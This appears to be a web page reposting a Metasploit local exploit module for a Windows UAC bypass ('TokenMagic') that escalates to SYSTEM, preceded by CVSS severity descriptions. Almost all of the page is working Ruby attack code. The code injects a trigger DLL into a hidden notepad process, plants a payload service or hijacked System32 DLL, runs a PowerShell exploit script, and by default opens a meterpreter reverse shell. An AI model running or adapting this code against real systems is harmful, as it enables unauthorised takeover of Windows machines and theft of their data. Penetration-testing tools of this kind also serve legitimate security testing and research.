The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows TokenMagic Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE # Needed for generate_payload_dll
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Privilege Escalation via TokenMagic (UAC Bypass)',
'Description' => %q{
This module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL
hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803
are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # Research
'Ruben Boonen (@FuzzySec)', # PoC
'bwatters-r7', # msf module
'jheysel-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2017-05-25',
'References' =>
[
['URL', 'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1'],
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html'],
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html'],
['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html']
],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
}
)
)
register_options([
OptString.new('SERVICE_NAME',
[false, 'Service Name to use (Random by default).', Rex::Text.rand_text_alpha(5..9)]),
OptString.new('WRITABLE_DIR',
[false, 'Directory to write file to (%TEMP% by default).', nil]),
OptString.new('SERVICE_FILENAME',
[false, 'Filename for Service Payload (Random by default).', Rex::Text.rand_text_alpha(5..9)]),
OptEnum.new('METHOD',
[
true, 'SERVICE or DLL, please select which attack method you would like to use (SERVICE by default).
Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
minutes to trigger', 'SERVICE', ['SERVICE', 'DLL']
])
])
end
def setup_process
begin
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end
def inject_magic(process)
if sysinfo['Architecture'] == ARCH_X64
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')
elsif sysinfo['Architecture'] == ARCH_X86
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x86.dll')
end
library_path = ::File.expand_path(library_path)
print_status("Reflectively injecting the trigger DLL into #{process.pid}...")
dll = ::File.read(library_path)
exploit_mem, offset = inject_dll_data_into_process(process, dll)
print_good('Trigger injected.')
payload_mem = inject_into_process(process, payload.encoded)
print_good('Payload injected. Starting thread...')
process.thread.create(exploit_mem + offset, payload_mem)
end
def launch_dll_trigger
print_status('Trying to start notepad')
process = setup_process
inject_magic(process)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
end
def payload_arch
payload.arch.include?(ARCH_X64) ? ARCH_X64 : ARCH_X86
end
def exploit
win_dir = session.sys.config.getenv('windir')
cmd_path = "#{win_dir}\\system32\\cmd.exe"
if datastore['SERVICE_FILENAME']
service_filename = datastore['SERVICE_FILENAME']
else
service_filename = Rex::Text.rand_text_alpha(5..9)
end
service_filename = "#{service_filename}.exe" unless service_filename.end_with?('.exe')
if datastore['SERVICE_NAME']
service_name = datastore['SERVICE_NAME']
else
service_name = Rex::Text.rand_text_alpha(5..9)
end
if datastore['WRITABLE_DIR']
writable_dir = datastore['WRITABLE_DIR']
else
writable_dir = session.sys.config.getenv('TEMP')
end
if datastore['METHOD'] =~ /DLL/i
bin_path = "#{writable_dir}\\WindowsCoreDeviceInfo.dll"
payload = generate_payload_dll
vprint_status("Payload DLL is #{payload.length} bytes long")
client.core.use('powershell') unless client.ext.aliases.include?('powershell')
register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up.
# Replace Value in Generic Script.
cmd_args = "/c move #{bin_path} C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll"
else
bin_path = "#{writable_dir}\\#{service_filename}"
payload = generate_payload_exe_service({ servicename: service_name, arch: payload_arch })
vprint_status("Service Name = #{service_name}")
client.core.use('powershell') unless client.ext.aliases.include?('powershell')
# Replace Value in Generic Script. Note Windows 7 requires spaces after the equal signs in the below command.
cmd_args = "/c sc create #{service_name} binPath= #{bin_path} type= own start= demand && sc start #{service_name}"
end
# Check target
print_status('Checking Target')
validate_active_host
validate_payload
# Upload the payload
print_status("Uploading payload to #{bin_path}")
write_file(bin_path, payload)
register_file_for_cleanup(bin_path)
# Read in Generic Script
script = exploit_data('tokenmagic', 'tokenmagic.ps1')
script.gsub!('_CMD_PATH_', cmd_path)
script.gsub!('_CMD_ARGS_', cmd_args)
# Run Exploit Script
print_status("Running Exploit on #{sysinfo['Computer']}")
begin
print_status('Executing TokenMagic PowerShell script')
session.powershell.execute_string({ code: script })
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
if datastore['METHOD'] =~ /DLL/i
launch_dll_trigger
print_status("Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10
minutes to trigger and recieve a shell.")
end
print_good('Enjoy the shell!')
end
def validate_active_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
def validate_payload
vprint_status("Target Arch = #{sysinfo['Architecture']}")
vprint_status("Payload Arch = #{payload.arch.first}")
unless payload.arch.first == sysinfo['Architecture']
fail_with(Failure::NoTarget, 'Payload arch must match target arch')
end
end
def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)
if build_num.nil?
return CheckCode::Unknown("Couldn't retrieve the target's build number!")
else
vprint_status("Target's build number: #{build_num}")
build_num = build_num[0].to_i
end
vprint_status("Build Number = #{build_num}")
if datastore['METHOD'] =~ /service/i
# Service method has been tested on Windows 7, 8 and 10 (1803 and ealier)
return Exploit::CheckCode::Appears if (build_num >= 7600 && build_num <= 17134)
elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134)
# DLL method has been tested on Windows 10 (1703 to 1803)
return Exploit::CheckCode::Appears
elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7600 && build_num < 15063)
print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!")
end
Exploit::CheckCode::Safe
end
end
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